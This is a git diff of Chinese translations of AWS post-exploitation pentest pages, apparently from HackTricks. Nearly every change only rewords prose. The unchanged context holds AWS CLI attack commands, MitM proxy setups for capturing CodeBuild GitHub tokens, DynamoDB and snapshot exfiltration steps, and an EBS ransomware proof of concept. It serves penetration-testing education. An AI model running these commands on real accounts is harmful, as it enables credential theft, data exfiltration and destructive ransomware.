RESOURCE_ID="your-resource-id"
@@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-拥有权限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan` 和 `apigateway:CreateUsagePlanKey` 的攻击者可以**创建新的API密钥,将其与使用计划关联,然后使用这些密钥未经授权访问API**。
+具有权限`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`和`apigateway:CreateUsagePlanKey`的攻击者可以**创建新的API密钥,将其与使用计划关联,然后使用这些密钥未经授权访问API**。
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index e415ff360..0bfad8128 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -14,7 +14,7 @@
这篇 [**博客文章**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) 提出了几种不同的场景,其中可以将 **Lambda** 添加(或在已使用的情况下进行修改)到 **通过 CloudFront 的通信中**,目的是 **窃取** 用户信息(如会话 **cookie**)并 **修改** **响应**(注入恶意 JS 脚本)。
-#### 场景 1:中间人攻击,其中 CloudFront 配置为访问某个存储桶的 HTML
+#### 场景 1:中间人攻击,CloudFront 被配置为访问某个存储桶的 HTML
- **创建** 恶意 **函数**。
- **将其与 CloudFront 分发关联**。
@@ -22,7 +22,7 @@
访问响应后,您可以窃取用户的 cookie 并注入恶意 JS。
-#### 场景 2:中间人攻击,其中 CloudFront 已在使用 lambda 函数
+#### 场景 2:中间人攻击,CloudFront 已在使用 lambda 函数
- **修改 lambda 函数的代码** 以窃取敏感信息
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 204ffb1ec..2ef98027d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -13,7 +13,7 @@
### 检查秘密
如果在 Codebuild 中设置了凭据以连接到 Github、Gitlab 或 Bitbucket,形式为个人令牌、密码或 OAuth 令牌访问,这些 **凭据将作为秘密存储在秘密管理器中**。\
-因此,如果您有权限读取秘密管理器,您将能够获取这些秘密并转向连接的平台。
+因此,如果您有权读取秘密管理器,您将能够获取这些秘密并转向连接的平台。
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -21,18 +21,18 @@
### 滥用 CodeBuild 仓库访问
-为了配置 **CodeBuild**,它需要 **访问将要使用的代码仓库**。多个平台可能托管此代码:
+为了配置 **CodeBuild**,它需要 **访问将要使用的代码仓库**。多个平台可能会托管此代码:
.png)
**CodeBuild 项目必须具有** 对配置的源提供程序的访问权限,可以通过 **IAM 角色** 或使用 github/bitbucket **令牌或 OAuth 访问**。
具有 **CodeBuild 中提升权限的攻击者** 可以滥用此配置的访问权限,泄露配置仓库的代码以及设置凭据有访问权限的其他仓库。\
-为了做到这一点,攻击者只需 **将仓库 URL 更改为配置凭据有访问权限的每个仓库**(请注意,aws 网站会为您列出所有这些):
+为了做到这一点,攻击者只需 **将仓库 URL 更改为配置凭据有访问权限的每个仓库**(请注意,aws 网站会为您列出所有仓库):
.png)
-并且 **更改 Buildspec 命令以提取每个仓库**。
+并 **更改 Buildspec 命令以提取每个仓库**。
> [!WARNING]
> 然而,这 **项任务是重复且乏味的**,如果配置了具有 **写权限** 的 github 令牌,攻击者 **将无法(滥)用这些权限**,因为他没有访问令牌。\
@@ -67,10 +67,10 @@ aws codebuild untag-resource --resource-arn --tag-keys
### `codebuild:DeleteSourceCredentials`
-攻击者可以删除 Git 存储库的源凭证,影响依赖该存储库的应用程序的正常运行。
+攻击者可以删除 Git 存储库的源凭据,影响依赖于该存储库的应用程序的正常运行。
```sql
aws codebuild delete-source-credentials --arn
```
-**潜在影响**:由于源凭证的删除,依赖受影响存储库的应用程序的正常功能受到干扰。
+**潜在影响**:由于源凭据的删除,依赖受影响存储库的应用程序的正常功能受到干扰。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 227cb4d8d..9e2f196db 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,33 +10,33 @@ aws codebuild list-source-credentials
```
### 通过 Docker 镜像
-如果你发现例如 Github 的认证已在账户中设置,你可以通过让 Codebuild **使用特定的 docker 镜像** 来运行项目的构建,从而 **提取** 该 **访问** (**GH token 或 OAuth token**)。
+如果您发现例如 Github 的身份验证已在账户中设置,您可以通过让 Codebuild **使用特定的 Docker 镜像** 来 **提取** 该 **访问** (**GH token 或 OAuth token**)以运行项目的构建。
-为此,你可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 以设置 **Docker 镜像**。
+为此,您可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 以设置 **Docker 镜像**。
-你可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截在 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任在 **`SSL_CERT_FILE`** 中指示的 SSL 证书。
+您可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基本的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许您拦截在 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任在 **`SSL_CERT_FILE`** 中指示的 SSL 证书。
-1. **创建并上传你自己的 Docker MitM 镜像**
-- 按照仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,然后 **构建 docker 镜像**。
+1. **创建并上传您自己的 Docker MitM 镜像**
+- 按照仓库的说明设置您的代理 IP 地址并设置您的 SSL 证书,然后 **构建 Docker 镜像**。
- **不要设置 `http_proxy`** 以避免拦截对元数据端点的请求。
-- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理设置为你的主机。
-- 一旦你构建了 Docker 镜像,**将其上传到公共仓库**(Dockerhub, ECR...)。
+- 您可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理设置为您的主机。
+- 一旦您构建了 Docker 镜像,**将其上传到公共仓库**(Dockerhub、ECR...)。
2. **设置环境**
- 创建一个 **新的 Codebuild 项目** 或 **修改** 现有项目的环境。
-- 设置项目使用 **之前生成的 Docker 镜像**。
+- 设置项目以使用 **之前生成的 Docker 镜像**。
.png)
-3. **在你的主机上设置 MitM 代理**
+3. **在您的主机上设置 MitM 代理**
-- 如 **Github 仓库** 中所示,你可以使用类似的东西:
+- 如 **Github 仓库** 中所示,您可以使用类似的内容:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> 使用的 **mitmproxy 版本是 9.0.1**,据报道在版本 10 中这可能无法工作。
-4. **运行构建并捕获凭证**
+4. **运行构建并捕获凭据**
- 您可以在 **Authorization** 头中看到令牌:
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)运行 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
+- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
```python
from mitm import MITM, protocol, middleware, crypto
@@ -134,9 +134,9 @@ mitm.run()
### ~~通过 HTTP 协议~~
-> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者不能再利用它了 :)**
+> [!TIP] > **这个漏洞在 2023 年 2 月第 20 周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者不能再利用它了 :)**
-具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限是通过 OAuth 配置的,则 **用于访问代码的临时 OAuth 令牌**。
+具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限是通过 OAuth 配置的,则会泄露 **用于访问代码的临时 OAuth 令牌**。
- 攻击者可以将环境变量 **http_proxy** 和 **https_proxy** 添加到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
@@ -144,7 +144,7 @@ mitm.run()
.png)
-- 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions`
+- 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如: `http://github.com/carlospolop-forks/TestActions`
- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -167,6 +167,6 @@ aws codebuild start-build --project-name
.png)
> [!WARNING]
-> 现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并比直接使用CodeBuild服务更容易地(滥用)它。
+> 现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并且比直接使用CodeBuild服务更容易(滥用)。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index 405179302..a898b24b2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -10,7 +10,7 @@
### 启用 / 禁用控制
-为了进一步利用一个账户,您可能需要禁用/启用 Control Tower 控制:
+要进一步利用一个账户,您可能需要禁用/启用 Control Tower 控制:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index f1707135a..9c840101d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -8,7 +8,7 @@
勒索软件攻击可以通过加密尽可能多的 EBS 卷,然后删除当前的 EC2 实例、EBS 卷和快照来执行。为了自动化这一恶意活动,可以使用 Amazon DLM,使用来自另一个 AWS 账户的 KMS 密钥加密快照,并将加密的快照转移到不同的账户。或者,他们可能会将未加密的快照转移到他们管理的账户,然后在那里进行加密。尽管直接加密现有的 EBS 卷或快照并不简单,但可以通过创建新的卷或快照来实现。
-首先,将使用一个命令收集卷的信息,例如实例 ID、卷 ID、加密状态、附加状态和卷类型。
+首先,可以使用命令收集卷的信息,例如实例 ID、卷 ID、加密状态、附加状态和卷类型。
`aws ec2 describe-volumes`
@@ -16,7 +16,7 @@
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-可以在这里看到政策文档的模板:
+可以在这里看到政策文件的模板:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index 7962b57ee..21573b963 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -43,7 +43,7 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
-**潜在影响:** 通过在表中定位敏感信息进行间接权限提升
+**潜在影响:** 通过在表中定位敏感信息间接提升权限
### `dynamodb:GetItem`
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
-**潜在影响:** 通过定位表中的敏感信息进行间接权限提升
+**潜在影响:** 通过在表中定位敏感信息间接提升权限
### `dynamodb:Query`
-**与之前的权限类似,** 这项权限允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值。它允许使用[比较子集](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html),但唯一允许与主键(必须出现)进行的比较是 "EQ",因此您无法使用比较在请求中获取整个数据库。
+**与之前的权限类似,** 这项权限允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值。它允许使用 [子集比较](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html),但唯一允许与主键(必须出现)进行的比较是 "EQ",因此您无法使用比较在请求中获取整个数据库。
{{#tabs }}
{{#tab name="json file" }}
@@ -107,7 +107,7 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
-**潜在影响:** 通过定位表中的敏感信息进行间接权限提升
+**潜在影响:** 通过在表中定位敏感信息间接提升权限
### `dynamodb:Scan`
@@ -119,7 +119,7 @@ aws dynamodb scan --table-name #Get data inside the table
### `dynamodb:PartiQLSelect`
-您可以使用此权限来**轻松导出整个表**。
+您可以使用此权限**轻松导出整个表**。
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
--export-time \
--region
```
-注意,要使其工作,表需要启用时间点恢复,你可以通过以下方式检查表是否启用:
+请注意,要使其正常工作,表需要启用时间点恢复,您可以通过以下方式检查表是否启用:
```bash
aws dynamodb describe-continuous-backups \
--table-name
@@ -155,22 +155,22 @@ aws dynamodb update-continuous-backups \
--table-name \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-**潜在影响:** 通过在表中定位敏感信息进行间接权限提升
+**潜在影响:** 通过在表中定位敏感信息间接提升权限
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-拥有这些权限后,攻击者将能够**从备份中创建新表**(甚至可以创建备份,然后在不同的表中恢复它)。然后,凭借必要的权限,他将能够检查**信息**,这些信息**可能不再在生产**表中。
+拥有这些权限的攻击者将能够**从备份中创建新表**(甚至可以创建备份,然后在不同的表中恢复它)。然后,凭借必要的权限,他将能够检查**备份中的信息**,这些信息**可能不再在生产**表中。
```bash
aws dynamodb restore-table-from-backup \
--backup-arn \
--target-table-name \
--region
```
-**潜在影响:** 通过定位表备份中的敏感信息进行间接权限提升
+**潜在影响:** 通过在表备份中定位敏感信息间接提升权限
### `dynamodb:PutItem`
-此权限允许用户**向表中添加新项或用新项替换现有项**。如果具有相同主键的项已经存在,**整个项将被新项替换**。如果主键不存在,将**创建**一个具有指定主键的新项。
+此权限允许用户将**新项目添加到表中或用新项目替换现有项目**。如果具有相同主键的项目已经存在,**整个项目将被新项目替换**。如果主键不存在,将**创建**一个具有指定主键的新项目。
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
-此权限允许用户**修改项目的现有属性或向项目添加新属性**。它并**不替换**整个项目;它仅更新指定的属性。如果主键在表中不存在,则该操作将**创建一个新项目**,并使用指定的主键设置更新表达式中指定的属性。
+此权限允许用户**修改项目的现有属性或向项目添加新属性**。它**不会替换**整个项目;它只更新指定的属性。如果主键在表中不存在,该操作将**创建一个新项目**,并使用指定的主键设置更新表达式中指定的属性。
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -262,7 +262,7 @@ aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
--region
```
-**潜在影响**:数据丢失以及在灾难恢复场景中无法从备份中恢复。
+**潜在影响**:数据丢失和在灾难恢复场景中无法从备份中恢复。
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
@@ -278,7 +278,7 @@ bashCopy codeaws dynamodb update-table \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region
```
-2. 描述获取 ARN 和其他详细信息的流:
+2. 描述获取 ARN 和其他细节的流:
```bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
@@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \
--shard-iterator \
--region
```
-**潜在影响**:对DynamoDB表更改的实时监控和数据泄露。
+**潜在影响**:对DynamoDB表更改的实时监控和数据泄漏。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index f2068462f..fd680ffd2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -12,7 +12,7 @@
### **恶意 VPC 镜像 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无需在实例上安装任何东西。这些复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。\
+VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无需在实例上安装任何东西。此复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。\
攻击者可以利用这一点捕获所有流量并从中获取敏感信息:
有关更多信息,请查看此页面:
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### 复制运行实例
-实例通常包含某种敏感信息。有不同的方法可以进入(查看 [EC2 权限提升技巧](../../aws-privilege-escalation/aws-ec2-privesc.md))。然而,检查其内容的另一种方法是 **创建一个 AMI 并从中运行一个新实例(甚至在您自己的账户中)**:
+实例通常包含某种敏感信息。有不同的方法可以进入(查看 [EC2 权限提升技巧](../../aws-privilege-escalation/aws-ec2-privesc.md))。然而,检查其内容的另一种方法是 **创建一个 AMI 并从中运行一个新实例(即使在您自己的账户中)**:
```shell
# List instances
aws ec2 describe-images
@@ -83,7 +83,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por
可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例,然后窃取 ECS 实例的数据。
-有关更多信息,请查看[**此处**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs)。
+对于 [**更多信息请查看此处**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs)。
### Remove VPC flow logs
```bash
@@ -95,19 +95,18 @@ aws ec2 delete-flow-logs --flow-log-ids --region
- `ssm:StartSession`
-除了命令执行,SSM 还允许流量隧道,这可以被滥用以从由于安全组或 NACL 而没有网络访问的 EC2 实例进行转发。
-其中一个有用的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) 转发到私有 EKS 集群。
+除了命令执行,SSM 还允许流量隧道,这可以被滥用以从由于安全组或 NACL 而没有网络访问的 EC2 实例进行转发。一个有用的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) 转发到私有 EKS 集群。
-> 为了开始会话,您需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> 要开始会话,您需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
-1. 在您的机器上安装 SessionManagerPlugin
-2. 使用以下命令登录到 Bastion EC2:
+1. 在您的机器上安装 SessionManagerPlugin
+2. 使用以下命令登录到 Bastion EC2:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 AWS 临时凭证
-4. 将凭证转移到您自己的机器中的 `$HOME/.aws/credentials` 文件,作为 `[bastion-ec2]` 配置文件
-5. 以 Bastion EC2 身份登录 EKS:
+4. 将凭证转移到您自己的机器,存储在 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置
+5. 作为 Bastion EC2 登录 EKS:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
@@ -120,11 +119,11 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-注意,SSL 连接将失败,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。
+请注意,SSL 连接将失败,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。
最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转向任何其他 AWS 服务或自定义应用程序。
-### 分享 AMI
+### Share AMI
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
@@ -138,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重新命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。
+一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。
-首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理的密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
+首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
```
{
"Version": "2012-10-17",
@@ -232,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
]
}
```
-密钥策略规则需要启用以下内容,以便能够使用它来加密 EBS 卷:
+密钥策略规则需要启用以下功能,以便能够使用它来加密 EBS 卷:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -244,7 +243,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
 
-类似于 S3 勒索软件的例子。这次攻击将使用快照创建附加 EBS 卷的副本,使用“攻击者”账户中的公开可用密钥加密新的 EBS 卷,然后从 EC2 实例中分离并删除原始 EBS 卷,最后删除用于创建新加密 EBS 卷的快照。 
+类似于 S3 勒索软件的例子。这次攻击将使用快照创建附加 EBS 卷的副本,使用“攻击者”账户中的公开可用密钥加密新的 EBS 卷,然后从 EC2 实例中分离原始 EBS 卷并删除它们,最后删除用于创建新加密 EBS 卷的快照。 
这导致账户中只剩下加密的 EBS 卷。
@@ -325,7 +324,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
]
}
```
-等待新设置的密钥策略传播。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。
+稍等片刻,让新设置的密钥策略传播。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。
 
@@ -333,7 +332,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
 
-这是使用的python脚本。它获取“受害者”账户的AWS凭证和用于加密的公开可用AWS ARN值。该脚本将对目标AWS账户中所有EC2实例附加的所有可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所使用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这在最终是一个勒索软件的概念验证。
+这是使用的python脚本。它获取“受害者”账户的AWS凭证和一个公开可用的AWS ARN值,用于加密的密钥。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这最终是一个勒索软件的概念验证。
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 95a90a179..a7745cde2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## 本地检查快照
+## 在本地检查快照
```bash
# Install dependencies
pip install 'dsnap[cli]'
@@ -54,16 +54,16 @@ aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```bash
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
```
-**在您控制的 EC2 虚拟机中挂载它**(它必须与备份的副本位于同一区域):
+**在您控制下的 EC2 虚拟机中挂载它**(它必须与备份的副本位于同一区域):
-步骤 1:通过前往 EC2 –> 卷,创建一个您喜欢的大小和类型的新卷。
+步骤 1:通过前往 EC2 –> Volumes 创建一个您喜欢大小和类型的新卷。
要执行此操作,请遵循以下命令:
- 创建一个 EBS 卷以附加到 EC2 实例。
- 确保 EBS 卷和实例位于同一区域。
-步骤 2:通过右键单击创建的卷,选择“附加卷”选项。
+步骤 2:通过右键单击创建的卷选择“附加卷”选项。
步骤 3:从实例文本框中选择实例。
@@ -71,11 +71,11 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
- 附加 EBS 卷。
-步骤 4:登录到 EC2 实例,并使用命令 `lsblk` 列出可用磁盘。
+步骤 4:登录到 EC2 实例并使用命令 `lsblk` 列出可用磁盘。
步骤 5:使用命令 `sudo file -s /dev/xvdf` 检查卷是否有任何数据。
-如果上述命令的输出显示 "/dev/xvdf: data",则表示卷是空的。
+如果上述命令的输出显示 "/dev/xvdf: data",则表示该卷为空。
步骤 6:使用命令 `sudo mkfs -t ext4 /dev/xvdf` 将卷格式化为 ext4 文件系统。或者,您也可以使用命令 `sudo mkfs -t xfs /dev/xvdf` 使用 xfs 格式。请注意,您应该使用 ext4 或 xfs 中的任意一种。
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-任何拥有 **`EC2:CreateSnapshot`** 权限的 AWS 用户都可以通过创建 **域控制器的快照**,将其挂载到他们控制的实例上,并 **导出 NTDS.dit 和 SYSTEM** 注册表蜂巢文件,以窃取所有域用户的哈希值,供 Impacket 的 secretsdump 项目使用。
+任何拥有 **`EC2:CreateSnapshot`** 权限的 AWS 用户都可以通过创建 **域控制器的快照**,将其挂载到他们控制的实例上,并 **导出 NTDS.dit 和 SYSTEM** 注册表蜂巢文件,从而窃取所有域用户的哈希值,以供 Impacket 的 secretsdump 项目使用。
您可以使用此工具来自动化攻击:[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy),或者在创建快照后使用之前的技术之一。
